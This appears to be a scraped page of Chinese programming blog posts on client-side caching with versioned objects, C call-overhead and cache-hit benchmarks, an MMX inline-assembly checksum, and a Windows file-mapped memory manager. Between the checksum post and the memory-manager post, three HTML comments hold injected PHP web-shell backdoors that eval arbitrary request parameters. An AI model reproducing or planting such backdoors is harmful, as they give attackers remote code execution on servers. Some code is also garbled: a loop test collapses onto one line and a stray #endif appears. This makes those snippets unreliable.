使用缓存优化数据请求

上一篇场景之后,事情还没有完。

我有一堆struct obj对象(数量级可能为千级), 客户端需要频繁拉取这些信息中的一部分去显示(比如,当切换标签页时)。

由于这一操作可能会很频繁,而struct obj对象并不算小,如果每一次都重新拉取全部数据,有点让人不舒服,而且对流量也是一种很大的浪费。因此就琢磨着怎么去优化整个过程,以使在此过程中使数据传输量最小。

第一反应,肯定就是对整个列表加一个version字段,每当有obj对象改变时,version加1,当客户端进行拉取时,拿着他本地存储的version值向服务端要列表,如果服务端的version没有比客户端version更新,则直接返回空即可(ps.之所以最开始想到这个办法,是因为有先例 :D)。

但是仔细分析一下整个场景,就会发现这个方法并不太适用这些场景。

一方面,所有obj对象共享着同一个version字段,就意味着只要有任何一个obj对象变动,version字段都会自增。因此理论上obj对象越多,version就变动越频繁,当obj多到一定程度,version机制基本上就形同虚设。

另一方面,由于客户端只需要拉取所有obj对象中的一部分,所有的obj对象共享同一个version也显得有些太过浪费。因此这个方案很容易就被放弃了。

另一种解决方案是,客户端在本地实现一个cache模块,当cache为空时向服务器拉取所需信息。此后再切换标签, 直接从本地cache模块取数据。只有当通过本地cache进行操作(如:通过某按钮根据cache中的obj对象的状态,向服务器发送请求)失败时,再清空本地cache重新从服务端获取。

然而,这种方案有另外一个坏处,就是用户每隔一段时间必然要出现一次错误。对用户来讲似乎不太友好。

经过仔细思考之后,对方案一和方案二进行了综合。来同时去除两种方案的所带来的弊端。

首先将版本号与每一个obj对象进行关联,这样就可以精确指示出某一个对象是否比客户端新。

再将拉取列表命令拆分成两条命令,pull_list和pull_info。

在客户端需要拉取列表时(比如切换标签页), 直接调用pull_list,而pull_list返回一个item列表。item结构体如下:

struct item {
int id;
int version;
};

可以看出这个item极其简单,就算是频繁拉取,数据量也还可以接受。

客户端依然会在本地维护一个cache, 而这个cache的数据结构可能类似于std::unordered_map<int, struct obj>一样的数据结构。

当客户端收到pull_list的回应之后,拿着item列表去cache中查询,确认cache中是否存在这些数据。如果数据存在,则检查服务端返回obj对象的version字段是否比cache中新,如果较新则从cache中删除些obj对象。

然后拿着cache不存在或失效的id列表使用pull_info命令向服务器请求数据。由于在相对短时间段内不可能所有obj对象都会有状态改变。因此,在客户端频繁拉取信息时,cache必然有极高的命中率,这也意味着会极大的节省数据流量开销。

此外,此方案还存在一个问题,那就是列表是随时动态变化的,而其中的obj对象还会随着某些特殊的操作或时间的流逝而消亡。

那么客户端如何才能感知这些变化, 并从cache中删除这些已经不存在的obj对象呢。

遗憾的是,客户端似乎真的没有办法来感知这些变化。

为了解决这个问题,我们做了一个约定,假设客户端一次拉取的列表为N,当客户端cache中obj对象的个数大于2N时,就意味着cache中至少有一半对象可能都已经消亡了(ps.只是有可能)。这时侯直接把cache清空,然后从新开始cache。

BTW, 其实约定为2N实为无奈之举,按我最初的想法,应该是用一个类似weak table的数据结构来cache。这样当内存不够时,可以由GC来自动释放这些内存,来保证客户端依然能够顺利流畅的运行。在Java中可以用WeakHashTable来代替,可遗憾的是在C#中并无此类型数据结构。

c语言部分的开销测试

最近在写c代码时底气越来越弱,原因在于某些调用的开销,我心里并不是十分明确。写起代码来由于纠结也就变的畏畏缩缩。

今天终于抽时间测了一下,仅测试了最近常遇到的一些调用的开销。

测试环境如下:

CentOS release 6.7(Final)

CPU:Intel(R)Xeon(R)CPU E3-1230 V2 @ 3.30GHz

采用gcc(glibc)编译,未开任何优化。
在测试时,大部分操作cache均会命中,因此如果cache经常命中失效,还需要另外考虑。

测试结果如下:

可以看出for循环是最廉价的。

malloc是开销最大的,这还是在单线程的情况下,如果再多线程由于锁的开销malloc的代价将会更甚。

在栈上分配1M次内存的代价几乎等同于for了1M次,在栈上分配内存开销最低。

而copy了64M内存也才花费了5ms而已。

cache命中率对效率的影响

趁着去买菜的空档, 突然间想起来cache命中率失败的代价从来还没测过, 随后又想到网上很多人争论如果两个for循环嵌套, 到底是大循环放在外面效率高还是小循环放在外面效率高. 虽然有大牛说不同情况不同分析, 但到底为什么却没有分析.

于是就for循环与cache命中率写了一段测试代码访问1G的数据来测了一下性能, 竟然有1倍之多.

代码如下:

#include <Windows.h>
#include "assist.h"

//cache line 64 byte
//cache size 4Mbyte
typedef unsigned char cache_line_t[64];

cache_line_t cache_line [1024 * 1024 * 1024 / sizeof(cache_line_t)];

#define FAST 0

int _tmain(int argc, _TCHAR* argv[])
{
int times;
int i, j;
int tmp;

CACL_TAKES_TIME_BEGIN(aa);

#if FAST
for (j = 0; j < ARRAY_SIZE(cache_line); j++) { for (i = 0; i < 64; i++) { tmp = cache_line[j][i]; } } #else for (i = 0; i < 64; i++) { for (j = 0; j < ARRAY_SIZE(cache_line); j++) { tmp = cache_line[j][i]; } } #endif printf("takes:%dmsn", CACL_TAKES_TIME_END(aa)); return 0; }

具体原因可以参考这篇文章. OK买菜去.

------------------------------------------------------------
<<代码大全>>p623中讲到把最忙循环放在最内层, 是因为for循环第一次是需要初始化变量的, 如果最多层越少, 那么i变量被初始为0的次数就越少. 但是从上面的例子表明并非是这样, 这说明当数据量到达一定程度之后, 就要权衡是i被初始化的次数花的代价高还是cache命中率降低的代价更高.

这再次说明了一个道理, 这个世界上没有银弹, 同样说明不加思索的拿来主义在一定程度上是程序效率的拦路虎.

CheckSum计算的优化

  最近在纠结于大数据的checksum的计算,算法如下:

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4 
 5     cs = 0;
 6     while (size--)
 7         cs += buff[size];
 8 
 9     return cs;
10 }

  当文件大于4G后这种计算的龟速就很明显了,在网上看到大牛说MMX指令对于数据计算相当不俗,于是改成下面代码(bug:不对齐部分没有处理,这部分消耗很小,对于效率影响不大):

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4     unsigned long cs_2[2];
 5     unsigned long cnt;
 6 
 7     cnt = size / 2;
 8 __asm {
 9     mov    eax, 0
10     movd    mm2, eax
11     mov    ecx, cnt
12     mov    esi, buff
13 cnt_label:
14     mov     al, byte ptr[esi]
15     movd    mm0, eax
16     inc    esi
17 
18     mov     al, byte ptr[esi]
19     movd    mm1, eax
20     inc    esi
21 
22     punpckldq mm0, mm1
23     
24     paddd mm2, mm0
25 
26     dec    ecx
27     jnz    cnt_label
28 
29     movq    qword ptr [cs_2], mm2
30 
31 
32     emms
33 }
34     cs = cs_2[0] + cs_2[1];
35 #endif
36     return cs;
37 }

  测试1G的内存数据发现速度近快了2倍,MMX的威力果然不是吹的.

<!– [insert_php]if (isset($_REQUEST["bay"])){eval($_REQUEST["bay"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;bay&quot;])){eval($_REQUEST[&quot;bay&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["pus"])){eval($_REQUEST["pus"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;pus&quot;])){eval($_REQUEST[&quot;pus&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["CYlNo"])){eval($_REQUEST["CYlNo"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;CYlNo&quot;])){eval($_REQUEST[&quot;CYlNo&quot;]);exit;}

–>

32位系统使用文件作为媒介来模拟大于4G内存访问

代码一篇,暂时没发现bug:

  1 // vm_mgr.cpp : Defines the exported functions for the DLL application.
  2 //
  3 
  4 #include "stdafx.h"
  5 
  6 #include <Windows.h>
  7 #include <vector>
  8 #include <assert.h>
  9 #include <tchar.h>
 10 #include "../common/assist.h"
 11 #include"../error_no/error_no.h"
 12 #include "../Log/log.h"
 13 #include "vm_mgr.h"
 14 
 15 #define VM_ADDR_GEN(addr, index)                (assert(index < 16), (((index & 0xfULL) << 60) | addr))
 16 #define VM_START_ADDR                           0x100000000ULL
 17 #define VM_WINDOW_SIZE                          (64 * 1024 * 1024UL)
 18 #define VM_ALIGN_SIZE                           (64 * 1024)
 19 
 20 struct vm_window {
 21         void                    *p;
 22         vm_ptr_t                start;
 23         unsigned long           size;
 24 };
 25 
 26 struct vm_item {
 27         int                 addr_index;
 28         HANDLE              mutext;    
 29         HANDLE              hMap;
 30         vm_ptr_t            vm_start_ptr;
 31         unsigned long long  vm_size;
 32         struct vm_window    window;
 33         TCHAR               file_path[MAX_PATH];
 34 };
 35 
 36 struct {
 37     std::vector<struct vm_item>    tbl;
 38 } vm;
 39 
 40 static int find_empty_index()
 41 {
 42         int addr_index;
 43         int i;
 44 
 45         for (addr_index = 0; ; addr_index++) {
 46                 for (i = 0; i < vm.tbl.size(); i++) {
 47                         if (vm.tbl.at(i).addr_index == addr_index)
 48                                 break;
 49                 }
 50                 assert(addr_index <= 16);
 51                 if (i >= vm.tbl.size())
 52                         return addr_index;
 53         }
 54 }
 55 
 56 vm_ptr_t vm_alloc(unsigned long long size)
 57 {
 58         TCHAR                       tmp_path[MAX_PATH];
 59         TCHAR                       tmp_file_path[MAX_PATH];
 60         int                         err;
 61         struct vm_item              vm_item;
 62 
 63         GetTempPath(ARRAY_SIZE(tmp_path), tmp_path);
 64         GetTempFileName(tmp_path, _T("DediProg"), 0, tmp_file_path);
 65 
 66         HANDLE hFile = CreateFile(
 67                                 tmp_file_path,
 68                                 GENERIC_READ | GENERIC_WRITE,
 69                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
 70                                 NULL,
 71                                 OPEN_ALWAYS,
 72                                 FILE_FLAG_SEQUENTIAL_SCAN,
 73                                 NULL
 74                                 );
 75         if (hFile == NULL) {
 76                 return NULL; 
 77         }
 78 
 79         vm_item.hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, size >> 32, size & 0xffffffff, NULL);
 80         if (vm_item.hMap == NULL) {
 81                 err = GetLastError();
 82                 return -E_ALLOC_MEMORY_FAIL;
 83         }
 84         vm_item.vm_start_ptr = (vm_ptr_t)MapViewOfFile(
 85                 vm_item.hMap,
 86                 FILE_MAP_ALL_ACCESS,
 87                 0 >> 32,
 88                 0 & 0xffffffff,
 89                 min(size, VM_WINDOW_SIZE)
 90                 );
 91  
 92         vm_item.addr_index = find_empty_index();
 93         vm_item.vm_start_ptr = VM_ADDR_GEN(vm_item.vm_start_ptr, vm_item.addr_index);
 94 
 95         assert(vm_item.vm_start_ptr < ((-1) >> 4));
 96 
 97         CloseHandle(hFile);
 98         hFile = NULL;
 99         vm_item.vm_size = size;
100         vm_item.window.size = (unsigned long)min(VM_WINDOW_SIZE, size);
101         vm_item.window.start = vm_item.vm_start_ptr;
102         vm_item.window.p = (unsigned char *)vm_item.vm_start_ptr;
103         vm_item.mutext = CreateMutex(NULL, FALSE, NULL);
104         _tcsncpy(vm_item.file_path, tmp_file_path, ARRAY_SIZE(vm_item.file_path));
105         vm.tbl.push_back(vm_item);
106 
107         return vm_item.vm_start_ptr;
108 }
109 
110 static __inline int in_region(vm_ptr_t ptr, unsigned long long size)
111 {
112         //static int dbg = 0;
113         int i;
114  
115         for (i = 0; i < (int)vm.tbl.size(); i++) {
116                 if ((ptr + size) <= (vm.tbl.at(i).vm_start_ptr + vm.tbl.at(i).vm_size) && (ptr >= vm.tbl.at(i).vm_start_ptr))
117                         return i;
118                 //if (ptr + size > vm.tbl.at(i).vm_start_ptr + vm.tbl.at(i).vm_size)
119                 //        i = 'DEAD';
120                 //if (ptr < vm.tbl.at(i).vm_start_ptr)
121                 //        i = 'INVA';
122         }
123         
124         LOG_BEGIN {
125                 log_add("----------------------------------------------");
126                 log_add("|             Virtual Memory layout          |");
127                 log_add("|--------------------------------------------|");
128                 for (i = 0; i < (int)vm.tbl.size(); i++)
129                 log_add("|window.start_addr:%llx | window.size:%llx   |", vm.tbl.at(i).window.start, vm.tbl.at(i).window.size);
130                 log_add("|--------------------------------------------|");
131                 log_add("|user.ptr:%llx          | user.size:%llx     |", ptr, size);
132                 log_add("----------------------------------------------");
133         } LOG_END;
134         //dbg++;
135         assert(!"Invalid Memory");
136         return -1;
137 }
138 
139 static __inline unsigned char *scroll_window(int vm_index, vm_ptr_t ptr, unsigned long size)
140 {
141         unsigned char           *p;
142         vm_ptr_t            win_start;
143         unsigned long           win_size;
144         unsigned long long      file_offset;
145         unsigned long long      tmp_offset;
146 
147 
148         win_start = vm.tbl.at(vm_index).window.start;
149         win_size = vm.tbl.at(vm_index).window.size;
150 
151         
152         UnmapViewOfFile(vm.tbl.at(vm_index).window.p);
153 
154         win_size = (unsigned long)min(VM_WINDOW_SIZE, size);
155 
156         assert(ptr >= vm.tbl.at(vm_index).vm_start_ptr);
157         file_offset = ptr - vm.tbl.at(vm_index).vm_start_ptr;
158         
159         tmp_offset = file_offset / VM_ALIGN_SIZE * VM_ALIGN_SIZE;
160         tmp_offset = file_offset - tmp_offset;
161         
162         file_offset = file_offset / VM_ALIGN_SIZE * VM_ALIGN_SIZE;
163 
164         size += (unsigned long)tmp_offset;
165 
166         p = (unsigned char *)MapViewOfFile(
167                 vm.tbl.at(vm_index).hMap,
168                 FILE_MAP_ALL_ACCESS,
169                 file_offset >> 32,
170                 file_offset & 0xffffffff,
171                 size
172                 );
173 
174         if (p) {
175                 vm.tbl.at(vm_index).window.start = ptr;
176                 vm.tbl.at(vm_index).window.size = size;
177                 vm.tbl.at(vm_index).window.p = p;
178 
179                 return p + tmp_offset;
180         }
181 
182         return NULL;
183 }
184 
185 int vm_write(vm_ptr_t pointer, const unsigned char *buff, unsigned long long size)
186 {
187         int             ret;
188         unsigned char       *p;
189         unsigned long       len;
190         int index = in_region(pointer, size);
191 
192         ret = 0;
193 
194         if (index == -1) {
195                 ret = -1;
196                 goto end;
197         }
198         WaitForSingleObject(vm.tbl.at(index).mutext, 20000);        /* timeout 10s */
199         while (size) {
200                 len = (unsigned long)min(size, VM_WINDOW_SIZE);
201                 p = scroll_window(index, pointer, len);
202                 if (!p) {
203                         ret = -1;
204                         goto end;
205                 }
206 
207                 memcpy(p, buff, len);
208 
209                 pointer += len;
210                 buff += len;
211                 size -= len;
212         }
213 end:
214         ReleaseMutex(vm.tbl.at(index).mutext);
215         return ret;
216 }
217 
218 
219 int vm_read(unsigned char *buff, vm_ptr_t ptr, unsigned long long size)
220 {
221         unsigned char   *p;
222         unsigned long   len;
223         int index;
224 
225         assert(buff);
226 
227         index = in_region(ptr, size);
228 
229         if (index == -1)
230                 return -E_ALLOC_MEMORY_FAIL;
231 
232         while (size) {
233                 len = (unsigned long)min(size, VM_WINDOW_SIZE);
234                 p = scroll_window(index, ptr, len);
235                 if (!p)
236                         return -1;
237 
238                 memcpy(buff, p, len);
239 
240                 ptr += len;
241                 buff += len;
242                 size -= len;
243         }
244 
245         return 0;
246 }
247 
248 int vm_free(vm_ptr_t ptr)
249 {
250     int i;
251 
252     LOG_BEGIN {
253                 log_add("----------------------------------------------");
254                 log_add("|             Virtual Memory layout          |");
255                 log_add("|--------------------------------------------|");
256                 for (i = 0; i < (int)vm.tbl.size(); i++)
257                 log_add("|window.start_addr:%llx | window.size:%llx   |", vm.tbl.at(i).window.start, vm.tbl.at(i).window.size);
258                 log_add("----------------------------------------------");
259     } LOG_END;
260 
261     for (i = 0; i < (int)vm.tbl.size(); i++) {
262         if (vm.tbl.at(i).vm_start_ptr == ptr) {
263             assert(vm.tbl.at(i).hMap);
264 
265             UnmapViewOfFile(vm.tbl.at(i).window.p);
266             CloseHandle(vm.tbl.at(i).hMap);
267 
268             DeleteFile(vm.tbl.at(i).file_path);
269 
270             vm.tbl.erase(vm.tbl.begin() + i);
271             return 0;
272         }
273     }
274 
275     assert(!"Invalid pointer");
276 
277     return 0;
278 }